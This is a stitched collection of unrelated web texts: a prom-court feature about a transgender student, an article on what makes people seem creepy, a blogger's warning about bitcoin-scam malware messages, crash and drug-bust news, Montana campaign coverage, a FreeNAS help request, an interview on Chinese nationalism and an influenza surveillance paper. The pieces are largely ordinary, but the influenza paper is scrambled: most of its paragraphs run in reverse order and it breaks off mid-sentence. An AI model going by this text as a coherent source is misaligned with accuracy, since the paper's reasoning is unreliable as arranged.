it affect but her?"  Two weeks before the prom, Sebastian took Sammy to a place that he, like most teenage boys, did not want to be. At Tyrone Square Mall he helped her look for shoes to go with her dress. He suggested Foot Locker, then asked why she didn't wear the canvas shoes she had on.  In Rack Room Shoes, Sammy found a pair of black heels. Sebastian is 5 feet 3, "on a good day."  "You're going to be, like, 5 feet taller than me," Sebastian said, putting his hands on her waist to see what it would be like when they danced. He frowned. "We could get you Crocs."  The school voted that Wednesday. "Gina Rollins," read his name on the ballot. Sebastian felt a little let-down. He wondered why it was so hard for them to see who he was. But he was happy to be on the ballot. He was happy to have run. No matter what happened, more of his classmates had started calling him Sebastian. He voted.  • • •  On Tuesday, Sebastian went on a field trip to interview for an apprenticeship as an electrician. When he returned to Osceola and walked into the front office, there was Bohnet with a big smile on his face.  Sebastian had just missed the announcement over the intercom, the principal said. "Congratulations. You're on court."  There were nine or so guys who had run for king, and five of them had made court. Sebastian didn't win king. That title went to a student whom he doesn't know well, whom he says is a pretty popular guy.  But Sebastian did not care about that. He was thinking, I beat four guys who were born guys. He was thinking, I did it.  "It says my school, number one, is really an understanding bunch of people," he says. "To them it doesn't matter as much about the gender. It's about how much people care about you. They care about me." And that was almost the best part.  The best part, Sebastian says, is that when the announcement was made over the intercom, the announcement that he missed, the principal said his name. The name he wants for himself. Sebastian Rollins, prom court.  He thought about the prom, which is Saturday. But mostly he thought about what the next day in school would be like. Maybe his teachers would start calling him Sebastian too. They wouldn't make a big thing of it, he imagined. They would just pop out in the hall, maybe when he was walking by, and they would say, "Hey, Sebastian."  He would say "Hey" back. And he would keep walking, like it hadn't been a thing at all.  tb-two* staff writer Brea Hollingsworth contributed to this report. Contact Lisa Gartner at [email protected]
-(Photo: Jakub Krechowicz/Shutterstock)  What creeps us out? Psychologists Francis McAndrew and Sara Koehnke wanted to know.  Their hypothesis was that being creeped out was a signal that something might be dangerous. Things we know are dangerous scare us—no creepiness there—but if we’re unsure if we’re under threat, that’s when things get creepy.  ADVERTISEMENT Thanks for watching! Visit Website  Think of the vaguely threatening doll, not being able to see in a suddenly dark room, footsteps behind you in an isolated place. Creepy, right? We don’t know for sure that we’re in danger, but we don’t feel safe either, and that’s creepy.  They surveyed 1,341 people about what they found creepy and, among their findings, they found that people (1) find it creepy when they can’t predict how someone will behave and (2) are less creeped out if they think they understand a person’s intentions. Both are consistent with the hypothesis that being unsure about a threat is behind the the feeling of creepiness.  They also hypothesized that people would find men creepy more often than women since men are statistically more likely than women to commit violent crimes. In fact, 95 percent of their respondents agreed that a creepy person was most likely to be a man. This is also consistent with their working definition.  ADVERTISEMENT Thanks for watching! Visit Website  ADVERTISEMENT Thanks for watching! Visit Website  Generally, people who didn’t or maybe couldn’t follow social conventions were thought of as creepy: people who hadn’t washed their hair in a while, stood closer to other people than was normal, dressed oddly or in dirty clothes, or laughed at unpredictable times.  Likewise, people who had taboo hobbies or occupations, ones that spoke to a disregard for being normal, were seen as creepy: taxidermists and funeral directors (both of which handle the dead) and adults who collect dolls or dress up like a clown (both of which blur the lines between adulthood and childhood).  If people we interact with are willing to break one social rule, or perhaps can’t help themselves, then who’s to say they won’t break a more serious one? Creepy. Most of their respondents also didn’t think that creepy people knew that they were creepy, suggesting that they don’t know they’re breaking social norms. Even creepier.  McAndrew and Koehnke summarize their results:  While they may not be overtly threatening, individuals who display unusual nonverbal behaviors ... odd emotional behavior ... or highly distinctive physical characteristics are outside of the norm, and by definition unpredictable. This activates our “creepiness detector” and increases our vigilance as we try to discern if there is in fact something to fear or not from the person in question.  This post originally appeared on Sociological Images, a Pacific Standard partner site, as “What Is 'Creepiness'?"
-This blog did not and will not send requests for bitcoin donations.  There seems to be a virus or some sort of malware going around causing blogs to “send out” chat messages to blogs that they follow asking for help with the purchase of certain items through donations of seemingly small amounts using bitcoin and adds a link to the message.  The message goes as following (at least the first message I got went like this): “Hi there buddy. I need help, I’m trying to buy a laptop and I can’t afford it. I’m about 0.36$ short, and I’d really appreciate if you could help me and transfer some money to me via bitcoin using this *link*.”  The small details in the message seems to have a few variations with the greeting, amount and purchased item showing up in different variations from formal to friendly, from 0.016 to 2$ and from a phone case to a laptop among others.  The blogs that are affected send out the messages to blogs that they follow for a long time mostly, so you are most likely to receive the message from a long time, active follower whose name you might recognize or a mutual etc. The blogs that are affected are not spam bots but actual active followers who follow the recipient for months or years and most likely the blogger who “sent” the message is unaware of the message being sent.  DO NOT OPEN THE LINK.  Opening up the link will cause the virus to spread even more and infect your computer/mobile with any sort of malware.  If you have received a message of that sort from this blog please know that it was not sent by me or within my control and ignore/delete the message without clicking the link.
-4 of 5 victims killed in fiery crash near Kalamazoo ID'd Copyright by WOODTV - All rights reserved Police arrive on scene of a fiery crash in Comstock Township that killed 5 people (Kalamazoo Township Police via Kalamazoo County Sheriff's Office/September 2, 2017) [ + - ] Video  Lynsey Mukomel, Sarah Hurwitz and 24 Hour News 8 web staff -  COMSTOCK TOWNSHIP, Mich. (WOOD) -- Four of the five people who were killed in a fiery crash early Saturday morning just east of Kalamazoo have been identified.  The driver, 15-year-old Cortavian Murphy -- who due to his age did not yet have a driver's license -- and a passenger, Jaquerious Hegler, were identified by Cortavian's mother.  Late Sunday afternoon, Kalamazoo County Undersheriff Paul Matyas confirmed two other passengers as Deztanee Cobb, 17, and Marshawn Williams, 15. The fifth victim has not yet been identified.  The crash happened around 12:43 a.m. Saturday on E. Main Street, east of Sprinkle Road in Comstock Township.  Kalamazoo Township police say an officer parked on Fenimore Avenue near the E. Main Street intersection watched as a car going an estimated 100 mph passed him heading east on Main Street. The officer turned on his lights and sirens and attempted to catch up to the car, but lost sight of it shortly after.  According to dashcam video released shortly after the crash, the car passed the officer parked on Fenimore Avenue at 12:42 a.m. The video's timestamp reads an hour earlier, at 11:42 p.m.; however, investigators say it was an hour behind for some reason.  By the time the officer pulled on to E. Main Street and turned on his lights and siren, the car was already out of sight. Seven seconds after initiating his siren, the officer is heard on the video saying, "I'm trying to catch up to it."  About 15 seconds after the radio communication, he turned off the lights and siren and continued eastbound. Undersheriff Matyas told 24 Hour News 8 the officer continued given the dangerous speed the car was traveling.  The officer arrived at the intersection of Sprinkle Rd. and E. Main St. at 12:43 a.m., where dashcam video shows the car had already crashed and was on fire.  The distance between where the car past the officer and where it crashed is approximately 1.5 miles. Matyas told 24 Hour News 8 that all five victims were killed on impact.  Sunday night, 24 Hour News 8 spoke with Cortavian Murphy's girlfriend, Kamarey Williams, who said they'd been dating more than a year. She said Cortavian was taking driver's education and wasn't sure what caused the crash or why he was driving so fast.  Copyright by WOODTV - All rights reserved Kamarey Williams with her late boyfriend, Cortavaian Murphy. (undated photo)  Copyright by WOODTV - All rights reserved Kamarey Williams with her late boyfriend, Cortavaian Murphy. (undated photo)  She believes it may have been peer pressure.  "Think about him every day," she said. "It's not something that's going to ever go away. He's going to forever be in my heart. Every day and I'm going to keep pushing to make him proud because I know he would want me to do be happy and proud and doing what I'm supposed to do."  24 Hour News 8 also spoke with the mother of Deztanee Cobb on Sunday.  Tracey Taylor said her daughter was entering her senior year and was dual-enrolled at Kalamazoo Central High School and Kalamazoo Community College taking AP classes. Cobb also had two varsity letters in swimming and played softball, but couldn't play sports her senior year due to an injury.  Taylor said Cobb just lost two friends who committed suicide last year and her sister, who died from childhood diabetes, adding that her daughter went to counseling to get through that tough year and that she wanted to be a child psychologist.  Copyright by WOODTV - All rights reserved Deztanee Cobb (undated photo)  Copyright by WOODTV - All rights reserved Deztanee Cobb (undated photo)  Taylor also said Cobb, who she described as "loyal, loving and empathetic," mentioned she was going to a party Friday night but it wasn't alarmed when her daughter didn't come home because she thought she was just staying a friend's house overnight.  Funeral arrangements for the victims have not yet been announced.  A Kalamazoo Public Schools spokesperson told 24 Hour News 8 grief counselors will be made available as needed.  The crash remains under investigation by the Kalamazoo County Sheriff's Office.  ***Editor's note: An earlier version of this story listed Cortavian as Corravion, based on confirmation by relatives. However, the sheriff's office identified the teenager as Cortavian Murphy. The sheriff's office also updated the spelling of Deztanee Cobb's name. Our story has been updated to reflect those changes.
-In a new ad released Monday, Montana Democrats attacked Republican House candidate Greg Gianforte for trying to hide his support for the deeply unpopular health care bill passed this month by the U.S. House of Representatives.  The multimillionaire Republican backed the proposed American Health Care Act ― which could imperil health insurance for more than 70,000 Montanans ― in a call with wealthy donors this month. After The New York Times published audio of the call, Gianforte walked back his comments, suggesting last week that he would have voted against the bill.  The ad cuts together clips of local TV news reports about Gianforte’s changing stance on the bill, along with ominous piano music. The ad is running statewide ahead of the May 25 special election to fill the House seat vacated by Interior Secretary Ryan Zinke. The campaign to elect Democrat Rob Quist, a musician and ranchers’ son running on a populist platform, paid for the ad.  “Gianforte said he was thankful for a bill that takes away protections for pre-existing conditions and raises premiums,” says the ad’s narrator. “Thankful, because he got a huge tax break in return.”  Less than one-third of the American public favors the health care bill, according to a HuffPost/YouGov survey published last week. A Fox News poll found similar results.  Gianforte, who narrowly lost a bid to become Montana’s governor last year, leads Quist by about 6 percentage points in the latest poll. At a high-profile event last Friday, Vice President Mike Pence campaigned with Gianforte.  William Campbell/Corbis via Getty Images Republican Greg Gianforte is running for the House seat vacated when Ryan Zinke became secretary of the Department of the Interior.  Quist has attracted political star power of his own. Sen. Bernie Sanders (I-Vt.) plans to barnstorm Montana the weekend before the election alongside Quist, who backed Sanders’ insurgent campaign against Hillary Clinton in the Democratic presidential primary last year.  The national Democratic Party initially ignored Quist’s campaign, apparently dismissing his bid as a long shot. But as support grew for Quist, who backs single-payer health care and marijuana legalization, the party began to invest heavily in the race. The Democratic Congressional Campaign Committee injected $400,000 in the contest in May, twice its previous investment. The Democratic National Committee has repeatedly solicited donations from its sizable email list in recent weeks.  Health care could prove a winning narrative for the Democrats. Quist spiraled into debt two decades ago after a botched surgery left him with a “pre-existing condition” that made health insurance unaffordable. He nearly went bankrupt paying out of pocket for repeated follow-up surgeries.  Quist’s campaign said it raised over $550,000 last week after Gianforte’s health care flub. Total donations now top $3.8 million, with an average contribution of $25 and about 147,000 individual contributors. Sanders, for context, regularly boasted that his average donation was $27 during his failed presidential bid.
-Story highlights Memorial Day weekend seizures yield cocaine worth more than $500 million  In first of two busts, authorities had to fire on and sink boat to apprehend three suspects  Second bust involved chase in and out of shoals along Panamanian coastline  Crews in Western Caribbean, Eastern Pacific seized 59 tons of cocaine in fiscal year 2012  Authorities intercepted two speedboats -- sinking one -- and recovered thousands of pounds of cocaine worth more than $500 million.  "These two disruptions are an example of the international cooperative law enforcement effort to disrupt transnational criminal activity and deny their profiting from such activity," Doug Garner, U.S. Customs and Border Protection's director of national air security operations in Jacksonville, Florida, said in a news release.  The Memorial Day weekend drug bust, which was announced Wednesday, resulted from two separate interdiction efforts, the first unfolding Friday north of the Galapagos Islands, west of Ecuador in the Pacific Ocean.  A Customs and Border Protection Office of Air and Marine crew spotted a 30-foot speedboat. After realizing that they'd been spotted, three people on the boat started chucking packages of cocaine into the water. They also "began washing the boat to eliminate traces of cocaine," the release said.  A law enforcement helicopter, responding to a call from the Customs and Border Protection crew, tracked down the boat and fired shots to disable it. Three suspects were arrested as the boat sunk into the ocean, according to the release.  "This joint effort denied criminal organizations more than $82 million dollars from cocaine proceeds," it said.  This speedboat was found carrying more than 3 tons of cocaine, authorities say.  The next evening, a Customs and Border Protection crew in the Western Caribbean saw a three-engine speedboat moving rapidly near the Panamanian-Colombian border. The boat's driver tried to evade police by moving closer to the Panamanian coastline and maneuvering "in and out of shoals and other obstructions," according to the agency.  The crew told Panamanian police to intercept the boat, which was carrying bundles of cocaine weighing more than 6,000 pounds. Authorities estimate their value at more than $445 million.  The Customs and Border Protection Office of Air and Marine P-3 crews patrol a 42 million-square-mile swath of the Western Caribbean and Eastern Pacific in search of drugs destined for U.S. shores. In fiscal 2012, P-3 crews seized almost 59 tons of cocaine valued at $8.8 billion.
-Hi,I tried googling my answer, and some said it was related to encryption, but my drives are not encrypted so the jails should be able to auto reload to my limited understanding. When setting it up I followed this guide here:My goal was to just create a FreeNAS server to host my plex media server from. So after a few hours I had more or less everything working, I was able to access all the plugins I needed externally, things were auto DLing and copying over but when I was adding a password to headphones I put the external IP address in and it wouldn't turn back on after the service shut off. A few hours later after my data transfer finished and I tried restarting the whole server. When I restarted the server now none of my previously installed plugins will boot. When I try to enable a service it says "Some error occured" and just won't turn on. At the end, I would like to to be able to reboot and auto enable these jails since I do not plan on keeping this server somewhere I can easily access it, so I want to get it configured than be more or less hands off.Thanks for the help!
-Photo  Read in Chinese | 点击查看本文中文版  President Xi Jinping is making his first state visit to the United States at a time when China exerts greater influence on the world stage than at any point since the Communist Party took power in 1949. To some Westerners, the image of Mr. Xi as a canny and potent leader has been dulled a bit in recent weeks by growing questions over the economic slowdown and the government’s handling of the stock market crisis. But for many Chinese, Mr. Xi remains very much the symbol of a new era of nationalist fervor, as Mr. Xi, in his words, seeks to secure the “China dream” for his people and drive the nation further down the “road to rejuvenation.”  Photo  Part of that national revival involves expanding China’s territorial footprint in the South China Sea, to the consternation of the United States and Southeast Asian nations, as well as underlining Chinese wartime resistance to Japan. Jessica Chen Weiss, an associate professor of government at Cornell University, has studied grass-roots nationalism in China and the interplay between populist protests and the Chinese party-state. Her book “Powerful Patriots: Nationalist Protest in China’s Foreign Relations,” published last year, is based on that research. In an interview, she discussed Mr. Xi’s brand of nationalism and how that has played out in China.  Q.  Earlier this month, you said that the Chinese Communist Party’s military parade commemorating the defeat of Japan in World War II reflected “Xi’s renewed emphasis on top-down nationalism.” How has this manifested itself in the first three years of Xi’s tenure, and how does it differ from the pre-Xi era?  A.  For all Xi’s rhetoric about the “China dream,” the Chinese leadership is afraid that nationalist mobilization will trigger broader instability and put undue pressure on Chinese foreign policy.  Grass-roots activism has been largely repressed since Xi Jinping took over three years ago. Under Xi, China has designated three new holidays to commemorate World War II, including a spectacular parade to showcase China’s growing military might. But public participation in commemorative events has been tightly scripted. Even a Baidu message board search for Sept. 18, the newly enshrined day to remember Japan’s invasion of Manchuria in 1931, turns up the result: “Sorry, according to relevant laws and policies, this board is temporarily closed.”  Q.  Some analysts compare Xi Jinping to Mao Zedong and speak of similarities in the ways in which they tried to harness grass-roots nationalism. What are your thoughts?  Photo  A.  Every leader since Mao has tried to harness grass-roots nationalism to some extent, as I show in “Powerful Patriots.” Under Mao, rallies against the United States and the Soviet Union were massive and commonplace. Even Deng Xiaoping, who reopened China to the world, invoked student protests in admonishing Japanese leaders to temper their behavior. Under Jiang Zemin, anti-NATO and anti-American demonstrations erupted when U.S. planes accidentally bombed the Chinese Embassy in Belgrade in 1999. Hu Jintao presided over two waves of anti-Japanese protests: in 2012, over Japan’s purchase of three islands in the East China Sea, and in 2005, over Japan’s bid to join the permanent membership of the U.N. Security Council.  As for Xi, comparisons to Mao mostly rest on his efforts to concentrate power and build a charismatic image as “Uncle Xi.” But unlike Mao, Xi has not called upon the masses to rise up and shake a collective fist against foreign powers. So far, Xi Jinping has shown a tough but temperate face to the world, relying upon China’s material power to assert and defend Chinese interests without giving in to extreme voices on the Internet. But this restraint may not last. With all the attention that the Chinese media have given lately to China’s maritime claims, a fatal collision or provocative incident — particularly with the United States or Japan — could trigger a public response that would be difficult for the Chinese government to control.  Q.  In your writings, you describe a complex relationship between the Chinese party-state and grass-roots protesters and how street protests provide an opportunity for officials to send signals to various audiences in China and abroad. At the same time, those protests pose a risk to the leaders. In the Xi Jinping era, have you seen this kind of interplay?  A.  For the past three decades, China’s leaders have selectively tolerated grass-roots protests, allowing nationalist demonstrations to bolster a tough diplomatic stance and repressing such protests to show flexibility and reassurance. But stage-managed protests are often suspected of being puppet shows rather than genuine popular movements. Chinese officials thus face a Catch-22 in managing popular nationalism. For the “feelings of the Chinese people” to be credible with outside observers, citizens must also be free to air their views online and in the streets.  Xi Jinping came to power in 2012, shortly after anti-Japanese protests underscored the domestic and diplomatic dangers of trying to stage-manage nationalist protests. Demonstrations in over 200 Chinese cities showcased the danger that protests against Japan might change direction and gather outside government headquarters, as they did in the southern city of Shenzhen. But these deviations from the official script were regarded by foreign skeptics as evidence that state-sponsored nationalism was merely a convenient outlet for domestic grievances.  Xi inherited the standoff with Japan in the East China Sea. Preventing an accidental escalation to war, plus a redoubled effort to crack down on possible sources of public dissent, explains why would-be activists have been told that the time is “not convenient” to organize.  Photo  Q.  Xi Jinping will be only the fourth Chinese leader since 1949 to be welcomed by the White House with the formalities of a state visit. How will this play to grass-roots nationalism in China?  A.  Whether or not the summit produces any tangible outcomes, Xi’s visit is likely to be portrayed positively back home. The desire for international respect is central to the nationalist narrative that girds the Chinese Communist Party’s legitimacy. Xi Jinping has placed particular emphasis on achieving a “new type of major power relations” that implies a more equal footing between China and the United States. Barring any unexpected slights or gaffes in protocol, Xi’s state visit and speech at the United Nations will provide a visible domestic reminder that China is an important and powerful member of the international community.  The diplomatic stakes of Xi’s visit are far greater than the domestic stakes. Coming at a time when U.S. businesses are increasingly worried about Chinese economic policies and Republican candidates have criticized Obama for being too soft on China, a positive outcome of Xi’s visit would be to signal China’s renewed commitment to international cooperation and arrest the rising chorus of mutual criticism.  Q.  Xi Jinping’s military parade tried to capitalize on a sense of Chinese pride in resisting Japan. How widespread is that sentiment in China these days?  A.  Negative attitudes toward Japan are widespread among mainland Chinese. According to a recent Pew survey, less than 10 percent of Chinese think that Japan can be trusted — and the feeling is mutual. Many observers are surprised by how vehemently young Chinese who did not personally experience the war feel about Japan. State propaganda and patriotic education in schools also tend to make criticism of Japan politically correct, so it’s difficult to know how entrenched these attitudes are.  The geographic dispersion of nationalist protests is another way of looking at variation in Chinese nationalism. In a recent paper with Jeremy Wallace, we find that cities with larger numbers of college students were more likely to have a protest at the beginning of the 2012 wave of anti-Japanese demonstrations. Cities with larger numbers of migrant workers were also more likely to witness an anti-Japanese protest.  Q.  What can we expect to see at the grass-roots level here as Prime Minister Shinzo Abe of Japan continues to try to transform the Japanese military?  A.  With the passage of legislation allowing Japanese forces to fight abroad and assist the United States in an event of an attack, Prime Minister Abe has done an end-run around the more difficult and symbolic hurdle of revising the Japanese Constitution. Two factors make it unlikely that Chinese authorities will encourage or tolerate a strong grass-roots response. First is Washington’s support for an expanded Japanese role. Second is the icy détente between China and Japan in the East China Sea and the knowledge that Abe is unlikely to be replaced in the near term. Given China’s focus on managing relations with the United States, it is unlikely that China will do more than verbally denounce Japan’s expanding military role and Prime Minister Abe’s “irresponsible” attitude toward Japan’s wartime past.  Q.  We haven’t seen notable street protests in China yet over territorial conflicts in the South China Sea, even when Chinese workers were killed in Vietnam last year by protesters during one particularly tense period. Why?  A.  Quashing street protests over the South China Sea is consistent with China’s broader strategy of expanding its physical presence in the area while trying to mitigate the regional backlash. China has not hesitated to press its material advantage over Vietnam and the Philippines in the South China Sea, so Chinese resolve in these disputes has not been questioned. Nationalist sentiment in China is also less vehement toward Southeast Asian nations than Japan or the United States, so the “supply” of popular Chinese activism has been comparatively smaller and easier for the Chinese government to tamp down. Indeed, it is China’s growing presence around disputed islands and shoals that have triggered nationalist protests in Vietnam and the Philippines. Despite riots that killed several Chinese workers in Vietnam, China prevented retaliatory protests and showcased Vietnamese efforts to crack down on the so-called troublemakers.  Q.  To what extent does your research apply to Vietnam, which has a turbulent history with China but where the Vietnamese Communist Party often studies Chinese governance models?  A.  China is not alone in invoking popular feelings in its diplomatic relations. The Vietnamese government has also allowed grass-roots protests to convey Vietnamese anger and resolve to Beijing. In a new paper on nationalist protests and territorial disputes in Southeast Asia, John Ciorciari and I note that Vietnam briefly tolerated anti-Chinese protests in 2007, 2011 and 2014, but stifled them in 2009, 2012 and 2013. This pattern can be explained by Vietnamese efforts to resist Chinese actions in the South China Sea, balanced with government fears that nationalist protests could spiral out of control. The danger that “a single spark can start a prairie fire” was realized last year when peaceful anti-China protests in Vietnam escalated to riots against foreign factories, many of them not even Chinese.  When authoritarian leaders want to resist foreign pressure, they often point to grass-roots sentiment in the proverbial street. The challenge for Chinese, Vietnamese and other authoritarian leaders is making these claims credible. Even when nationalist protests get out of hand, the mixture of motivations — such as poor wages or working conditions — may also feed foreign accusations that protesters do not really care about the international dispute.  Follow Edward Wong on Twitter @comradewong.
-Influenza-like illnesses (ILIs) are caused by several respiratory pathogens. These pathogens show weak to strong seasonal activity implying seasonality in ILI consultations. In this paper, the contribution of pathogens to seasonality of ILI consultations was statistically modelled. Virological count data were first smoothed using modulation models for seasonal time series. Second, Poisson regression was used regressing ILI consultation counts on the smoothed time series. Using ratios of the estimated regression parameters, relative measures of the underreporting of pathogens were obtained. Influenza viruses A and B, parainfluenza virus and respiratory syncytial virus (RSV) significantly contributed to explain the seasonal variation in ILI consultations. We also found that RSV was the least and influenza virus A is the most underreported pathogen in Belgian laboratory surveillance. The proposed methods and results are helpful in interpreting the data of clinical and laboratory surveillance, which are the essential parts of influenza surveillance.  In this study, the pathogens’ contribution to seasonal variation in ILI was statistically modelled, using data from two independent surveillance systems in Belgium. Data from both clinical sentinel surveillance [ 17 ], and laboratory sentinel surveillance were used in monitoring trends of different respiratory pathogens [ 18 ]. The pathogens’ contribution to the seasonality of ILI was estimated using smooth modulation models for seasonal time series [ 19 ] and Poisson models regressing the number of ILI consultations in the number of laboratory reports for various respiratory pathogens. Epidemiological interpretations in terms of relative measures of underreported pathogens were obtained by using ratios of estimated Poisson regression parameters.  Respiratory pathogens other than influenza are generally not monitored by combined influenza surveillance [ 5 , 6 ]. However, such pathogens might also cause ILI, resulting in poor to moderate positive predictive values of ILI diagnoses of laboratory-confirmed influenza infections [ 10 – 12 ]. In particular, along with influenza viruses A and B, parainfluenza virus, respiratory syncytial virus (RSV), adenovirus and Mycoplasma pneumoniae are regarded as other important respiratory pathogens with the potential to cause ILI. For most of these respiratory pathogens seasonality has been consistently observed, although the driving mechanisms are still poorly understood [ 13 ]. A typical example of a seasonal infectious disease is influenza. Annual influenza epidemics commonly occur during the winter season in temperate regions of the world with varying onset, duration and severity [ 14 ]. Moreover, the incidence of RSV varies conspicuously by season, showing distinct seasonal patterns in different countries [ 15 , 16 ]. Such seasonality in pathogen activity naturally implies seasonality in ILI consultations.  Influenza surveillance is implemented by many national and international authorities throughout the world [ 5 , 6 ]. The World Health Organization (WHO) stresses the importance of influenza surveillance activities for the annual determination of influenza vaccine content and as an indispensable tool for pandemic preparedness [ 7 ]. A standard tool for monitoring influenza activity is the combination of virological and clinical surveillance by a network of sentinel practitioners [ 5 , 6 ]. As a tool for detection of the first circulating viruses, virological surveillance allows the characterization of strains by monitoring the rates of influenza virus positivity. Clinical surveillance is based on consultations for influenza-like illness (ILI), which is a clinical diagnosis of a set of common aspecific symptoms. These symptoms include typical clinical features of influenza, although heterogeneous case definitions are used [ 8 ]. The combination of virological and clinical surveillance is generally considered to be the most accurate tool for monitoring influenza activity [ 9 ].  Influenza is a common infectious disease, which has an important impact on society each year [ 1 ]. The typical clinical features of influenza disease include fever, respiratory symptoms, headache, muscle ache and fatigue [ 2 ]. In most cases, the influenza disease is self-limiting but it can evolve to life-threatening medical complications [ 3 ]. Recently, influenza has been identified as one of the three infectious diseases causing the highest burden in Europe, along with HIV infection and tuberculosis [ 4 ]. Moreover, genetic reassortments and mutations of influenza viruses might lead to the emergence of pandemics during which the rates of morbidity and mortality increase further.  where 1/π inflA ≡ ϕ inflA is the factor needed to correct for underreporting of diseases due to influenza A and similarly, 1/π RSV ≡ ϕ RSV is the factor needed to correct for underreporting of diseases due to RSV. Hence, Φ inflA should be interpreted as the factor needed to correct for underreporting of influenza A diseases relative to the factor needed to correct for underreporting of RSV.  where, π ILI /π inflA ≡ α inflA , π ILI /π inflB ≡ α inflB , etc. It should be noted that equation ( 4 ) is of the same form as equation ( 1 ), implying that the parameters α can be estimated as explained above. The additivity of the model given in equation ( 4 ) also explains the choice of the identity link. Indeed, using the identity link in Poisson regression gives rise to an additive interpretation of the parameters α whereas the commonly used log-link gives rise to a multiplicative interpretation [ 22 ].  However, the total number of cases N(t) in a given population is typically unknown as a result of underreporting. Instead, the number of reported cases R(t) is observed. Assuming that the reporting probability π is constant over time, it follows that R(t) = πN(t). Hence, rewriting equation ( 2 ) in terms of the number of reported cases R(t) assuming disease- or pathogen-specific reporting probabilities gives  Introducing some notation, we allow N(t) ILI to denote the total number of ILI cases in a given population as a function of time t. Similarly, we denote the total number of illness cases due to influenza virus A, influenza virus B, parainfluenza virus, RSV and M. pneumoniae as N(t) inflA , N(t) inflB , N(t) para , N(t) RSV and N(t) myco , respectively. Then, assuming that no other pathogens are causing ILI, it immediately follows that  Second, the ILI consultation counts X were linearly regressed on the smoothed predictions of the five respiratory pathogens, Y 1 , Y 2 , …, Y 5 , to assess the pathogens’ contribution to the seasonal variation in ILI. To this end, the Poisson quasi-likelihood with deviance-based correction for overdispersion and identity link was used, as it had the expected ILI counts  The clinical and five virological time series were first smoothed, with the aim of revealing the essential (non-parametric) patterns while suppressing excessive variations. Smoothing techniques are increasingly popular because they provide a statistical tool to graphically explore the data and allow modelling of the data when classical parametric models fail [ 21 ]. Because the virological and clinical time series exhibit irregular seasonal variation, the time trends were smoothed using modulation models for seasonal time series [ 19 ]. In these models, the overall time trend is modelled using an intercept and the periodicity is modelled using sine and cosine regressors. The coefficients of the intercept, sine and cosine regressors are allowed to vary smoothly over time. This permits the modelling of global time trends and varying onset, duration and severity of incidence peaks over time (for details, see Eilers et al. [ 19 ]). Because the clinical data X is a time series of counts exhibiting overdispersion, the Poisson quasi-likelihood with log-link and deviance-based correction for overdispersion was used [ 19 ]. In particular, the Poisson expectation was modelled as a smooth function of time t using a basis of 30 B splines of third degree for the intercept, sine and cosine regressors and second-order smoothness penalties. The optimal smoothness parameters were selected using quasi-Akaike's Information Criteria [ 19 ]. For each of the five respiratory pathogens, smooth functions Y i with i = 1, 2, …, 5 were obtained similarly.  Data on all pathogens available that potentially cause ILI were extracted from the Belgian sentinel laboratory surveillance database. In particular, data on the weekly number of samples that tested positive for influenza virus A, influenza virus B, parainfluenza, RSV and M. pneumoniae were obtained for the period from January 2004 to December 2008, resulting in 260 measurement points for each of the five pathogens as the time series are complete.  The sentinel laboratory network, coordinated by WIV-ISP, has collected data on about 40 infectious diseases since 1983 [ 18 ]. In 2009, 100 laboratories, representing 58% of all Belgian laboratories, participated to the surveillance system on a voluntary basis. The participating private or hospital laboratories are evenly distributed over 33 out of 43 administrative districts in Belgium. These laboratories receive biological samples from routine diagnostic testing at GP practices, hospitals, care homes, etc. On a weekly basis, the laboratories send anonymized data to WIV-ISP using an electronic system (Epi-Lab), internet application or registration form. The incidence of different infections, which includes respiratory infections, is monitored using this surveillance system, allowing for the detection of changes in time or geographical trends.  The counts of ILI consultations were extrapolated to the whole Belgian population to adjust for changes in the size of the represented patient population as a result of changes in the number of GPs reporting over time. In total, data for 214 measurements were available. For the years preceding 2007, ILI consultations were not monitored outside the influenza season, resulting in incomplete time series.  The clinical data on ILI consultations from January 2004 to December 2008 were extracted from the General Practitioners (GPs) influenza surveillance database, which is obtained through a weekly registration network of GPs coordinated by the Belgian Scientific Institute of Public Health (WIV-ISP) [ 17 ]. This database contains, among others, weekly information on the number of ILI consultations with the case definition for ILI being sudden onset of illness, associated with fever, respiratory and general symptoms. Since October 2007, data have been collected by the Belgian sentinel GPs network, in which about 180 GPs participate. The participating GPs cover 1.75% of the total Belgian patient population and are representative of the profile of family physicians in Belgium in terms of age, sex and geographical location [ 20 ]. Before October 2007, data were collected by a smaller network of 40–80 GPs.  gives a graphical representation of the Poisson regression model given in equation ( 4 ). The smoothed time series of the respiratory pathogens, Y i (i = 1, 2, …, 5), are jointly presented in a. To predict the ILI consultations, the smoothed time series are first rescaled using regression weights α i ( b). Then these rescaled time series α i Y i are summed to predict the ILI consultation counts. The predicted curve and its 95% confidence interval are presented by the dark grey area in c. As can be seen from (b, c), the peaks in ILI consultations are mainly explained by influenza virus A and, to a lesser extent, by influenza virus B. Furthermore, (b, c) suggests that the excess in ILI consultations before the onset of the influenza epidemic is mainly explained by RSV. By means of comparison, the smoothed time series of ILI consultations is also presented in c (light grey area). As can be seen, both the smoothed ILI curve as well as the ILI curve, as predicted based on the smoothed time series of the respiratory pathogens, are nicely overlapping. This observation is well in line with the obtained pseudo-R 2 value for the overdispersed Poisson regression model [ 24 ], i.e. R 2 = 0·82, indicating that ILI seasonality is well predicted by the seasonality of the respiratory pathogens.  The results of the multiple Poisson model regressing the ILI consultation counts on the smoothed time series of influenza virus A, influenza virus B, parainfluenza, RSV and M. pneumoniae are given in . As can be seen, all respiratory pathogens except M. pneumoniae, significantly contribute in explaining the seasonal variation in ILI consultations. The results for the ratios Φ of factors correcting for underreporting with RSV as reference are given in the last two columns . The 95% confidence intervals are obtained using Fieller's method [ 23 ]. The ratios Φ indicate that diseases due to RSV were the least underreported by Belgian laboratory surveillance whereas diseases due to influenza viruses A and B were the most underreported.  From the laboratory reports, RSV (54·42%) was the most commonly reported pathogen during 2004–2008, consecutively followed by M. pneumoniae (31·52%), influenza virus A (7·10%), parainfluenza virus (4·79%) and influenza virus B (2·20%). (a–e) presents the weekly number of laboratory reports of influenza virus A, influenza virus B, parainfluenza virus, RSV, and M. pneumoniae, respectively, together with the smoothed time series and 95% confidence intervals. Clearly, strong seasonality can be observed for influenza virus A, influenza virus B and RSV with the RSV peaks preceding those of influenza viruses A and B. Weaker seasonality can be observed for parainfluenza and M. pneumoniae with the latter showing a clearly decreasing trend over time. f presents the weekly number of ILI consultations, also showing strong seasonality, that most closely coincides with the seasonal patterns of the influenza viruses.  DISCUSSION  In this study, the contribution of respiratory pathogens to the seasonal variation in ILI consultations was statistically modelled using data from the Belgian clinical and laboratory sentinel surveillance systems, which are two independent surveillance systems. The statistical methods were smooth modulation models for seasonal time series and Poisson regression with correction for overdispersion.  Methods regressing syndromic incidence data on the number of laboratory reports have been used previously. Linear regression 